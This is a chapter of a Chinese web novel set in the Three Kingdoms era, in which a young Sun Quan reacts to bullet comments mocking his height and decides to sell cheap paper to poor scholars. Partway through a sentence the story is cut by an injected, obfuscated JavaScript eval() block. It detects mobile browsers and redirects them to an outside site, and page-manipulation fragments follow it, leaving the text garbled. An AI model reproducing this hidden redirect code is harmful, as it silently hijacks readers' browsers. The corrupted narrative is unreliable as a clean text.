38. 第 38 章
作品:《【三国】江东无鼠辈》 千而里之外的舒县孙府。
“哎。”孙权合上手中的竹简,长长叹了口气。
施然与吕蒙面面相觑,皆是面露担忧之色,这已经是孙权今天第七次叹气了。
“仲谋啊,你今天这是怎么了,一直在叹气。可是这《氾胜之》太深奥了吗?”施然有些担忧地看着孙权。
知道孙权在读什么书后,施然曾好奇翻阅过,满卷的农家术语看得他头晕目眩,对于和自己同岁却能看这么深奥书籍的孙权更是佩服。
“非为此书。”孙权干脆将竹简推开,转过身来,一双清亮的眸子认真盯住施然,“义封,我问你一事,你须如实答我,不可欺瞒。”
施然拍着胸脯:“仲谋你这是哪里话!我何时对你有过欺瞒?你尽管问来!”
“你观我兄长如何?”
施然不假思索,直接答道:“伯符兄姿容英伟,性豁达,有雄略,文武皆为翘楚......”
“那你观公瑾兄又如何?”
施然也是脱口而出:“公瑾兄风神秀异,精音律,通书传,雅量高致......”
孙权点了点头,心下有些期待:“你说得很中肯啊,那依你看,我又是如何?”
施然张口即答:“仲谋你天资颖悟,学识广博,我舅父常言,此真圣童之质也。”
孙权睁大眼睛,满含期待地望着他,施然也同样回望。
等了片刻,迟迟等不到下文,孙权忍不住追问:“就……这些?”
施然面露困惑——这赞誉还不够么?已是“圣童之质”了啊。
孙权默默转头,目光投向一旁始终沉默的吕蒙。
吕蒙迎着那双清亮而满是期待的眼睛,思索片刻后,极其认真道:
“你是极好的。伯符兄与公瑾兄,皆不如你。”
孙权直接开门见山:“我兄长姿容英伟,公瑾兄风神秀异,那我呢?”
施然沉默了片刻:“仲谋,你仪容端重,华彩内蕴......”
一旁的吕蒙听得认真,又仔细端详了孙权一番,用力点了点头,脸上满是坦诚地补充道:
“嗯!义封说的对,仲谋,你长得很好!”
.......
孙权看了看面前两位神情诚挚的小伙伴,他慢慢转回头,把方才合上的《氾胜之》重新摊开,又发出了一声比之前任何一次都更沉重、更无奈的叹息。
弹幕随之笑成一片。
【权崽啊你叹什么气?】
不知从何时起,那些“鼠辈”、“孙十万”之类的讥诮已渐渐减少,甚至有不少弹幕会亲昵地称呼自己为“权崽”。
虽然嘲讽自己的人变少了,但看着眼前的弹幕内容,孙权现在一点都开心不起来。
【你虽然长得不好看,但你聪明啊~】
【你虽然外貌平平,但你就是很好很好啊~】
【孙权:安慰得很好,下次别安慰了】
【哈哈哈哈,他怎么突然就有容貌焦虑了?】
【嗐,单身狗是这样的,看他哥有乔姐赠枪缨,周瑜有乔妹配琴穗,酸了呗。】
【孙策周瑜颜值超标,对比之下孙权画风确实朴实了点(狗头)】
【权崽本来单独看也是浓眉大眼正太一枚,但往他哥和周瑜身边一站……瞬间江东土豆成精。】
【但话说回来,这几位身高好像都不占优势啊。史载施然“身不逾七尺”,连一米七都没有啊,孙权估摸高点儿,但也有限,孙策无身高记载,按汉时惯例,未载即不足八尺,那也不是很高,这里面恐怕就吕蒙可能高点,毕竟史称“形长伟”,估计接近八尺。】
【公瑾除外!史料明载“长壮有姿貌”,属于高挑型美男子。】
【江东男团,平均海拔确实很南方(笑哭)】
【权仔要知道自己最终身高,怕不是得每天跳绳一百下,抱着牛奶罐子不撒手(狗头)】
跳绳?喝牛奶?
孙权抿了抿唇,默默记下长高大法。
【救命,忽然想起张辽那句经典嘲讽:“上长下短,紫髯碧眼的将军”——原来嫌弃权崽的身形比例是从这时候就开始了吗!】
孙权盯着这行字,直接破防!
张辽,又是张辽!
“孙十万”这浑号便是拜他所赐!
好气啊,害自己后世风评也就算了,怎么还带攻击体态外貌的!
好,好得很。这笔账孤记下了!迟早百万大军直指合肥!这要还能输,就此改名孙百万!
……可未来的自己,当真生得“上长下短,紫髯碧眼”?
想到这里,孙权再也坐不住,腾地起身冲到铜镜前:瞳色虽比常人略浅,分明是润泽的琥珀褐,哪有一丝一毫碧绿?
“张辽匹夫!”他咬着牙,心底大骂,“信口雌黄,毁谤至此!”
“什么上长下短,必是胡言!”
弹幕依旧没有停止对孙权身高的讨论:
【不仅张辽,曹老板也这么说过。所以孙权长大真就五五分?】
【那可不,“孙柯基”岂是浪得虚名(狗头)】
这行字弹出的同时,光幕上竟应景地浮现出一只矮墩墩、四肢短小的犬类影像,毛色亮泽,模样憨态可掬,尤其那几乎隐没在圆滚身躯下的腿,格外扎眼。
【曹操自己不也是邪恶矮脚猫,还好意思说别人?史载其“姿貌短小”,他都还没孙权高呢】
曹操。
太尉曹嵩之子,汉相国曹参之后。曾为骑都尉,征战黄巾,现济南国相。
这是上回瞥见弹幕提及此人后,孙权特意找人探问来的。
先前害死父亲的黄祖,他没能问出底细,想来此时尚是无名之辈。但曹操不同,此人已颇具声名,又参与平定黄巾之乱,连程普提及他时,言语间都带着几分推崇,赞其“有勇略,知兵事”。
这未来要与自己鼎足三分的人物,行事怎也如此促狭,专在背后编排于人。
孙权将这个名字死死刻进心里,对着镜中自己尚显稚嫩的身影,默默发愿:
待我身长八尺之日,定要叫那矮脚猫好好看清,谁才是该被嘲笑的!
正自气闷之
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16979069|191352||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
际,一名仆从匆匆赶来,躬身禀报:
“小公子,工坊那边传来消息,您吩咐试造的物件,已成了。”
言罢,恭敬地捧上一只黑底朱纹的漆盒。
孙权接过打开,盒中整整齐齐叠着一卷素纸。取出展开,纸张触手柔软,只色泽尚有些微黄,却已匀净细腻。
他轻轻抚过纸面,细细感受后发现,这卷纸,虽还不及极品左伯纸那般光洁如练,但比市面上寻常的左伯纸已胜出许多,用于书写绰绰有余。
“甚好!”他眼中亮起光彩,方才因弹幕内容而生的那点闷气顷刻消散,当即唤上那名送纸的匠人,“随我去见母亲。”
=====
孙府正厅。
吴夫人接过纸张,指尖沿着纸缘细细抚过,又轻轻屈指弹试其韧度,眼中掠过一丝赞许:“肌理匀细,柔韧得宜,确是上好的纸质。”
“如今庐江郡、乃至整个扬州市肆之中,这般成色的纸张,市价几何?”
匠人躬身,报出一个令人咋舌的高价。
吴夫人略作沉吟:“既如此,我孙家所出,定价可比此价稍低一筹,既属上品,便不可过于自贬,当显其值。”
“母亲,”孙权忽然开口,仰起小脸认真问道,“此纸成本几何?”
匠人面有得色,声音都洪亮了几分:“回夫人、小公子,此纸所费不过数钱!可若依市价售出,利可十倍、百倍!”
孙权却摇了摇头,神色严肃起来:“成本既如此低廉,我等便是稍贵些许亦有厚利,何须索取天价?”他转向吴夫人,劝道:“世间寒士,求学不易。竹简笨重,缣帛昂贵,多少有心向学之人,困于载籍之器。我孙家如今既有黄糖之利,资财丰足,何不以此纸惠及天下?”
“这纸,便定五钱如何?”
吴夫人凝视幼子,眼中渐露赞许。孙家坐拥黄糖之利,确已不愁用度。此纸即便只售五钱,仍有盈余,待日后技艺精进,造出更胜左伯纸的精品,自可再谋高价。眼下这些,权当为天下读书人开一扇方便之门。
只是……这份善意,也当让人知晓源自何处。
思及此,吴夫人心中已有定计。她含笑轻抚孙权发顶:“我儿仁厚,心怀文教。便依你之言。此事,母亲来为你安排周全。”
亲自将匠人送到府门口,正准备回去,余光瞥见候在一旁的管事孙福,他脚步一顿,转身面向孙福,伸出一根手指:“自今日起,每日为我备一盏牛乳……”
他顿了顿,仿佛觉得不够,又接连弹出三根手指,“不,四盏!”
又想了想,他干脆将小手一挥:“罢了!直接备一桶!”
管事孙福听得眼皮一跳,忙躬身回话,面有难色:“小公子,府中常备羊酪,然鲜牛乳……需得从城郊牧场当日现取,路程颇远,实在难得。”
“难得也得取。”孙权小手一挥,“此事关乎未来大计,务必办妥。”
他略一思忖,又补充道:“若实在不够,便找人多养几头。总而言之——”他仰起小脸,势在必得:“每日我都要见到足量的牛乳。”

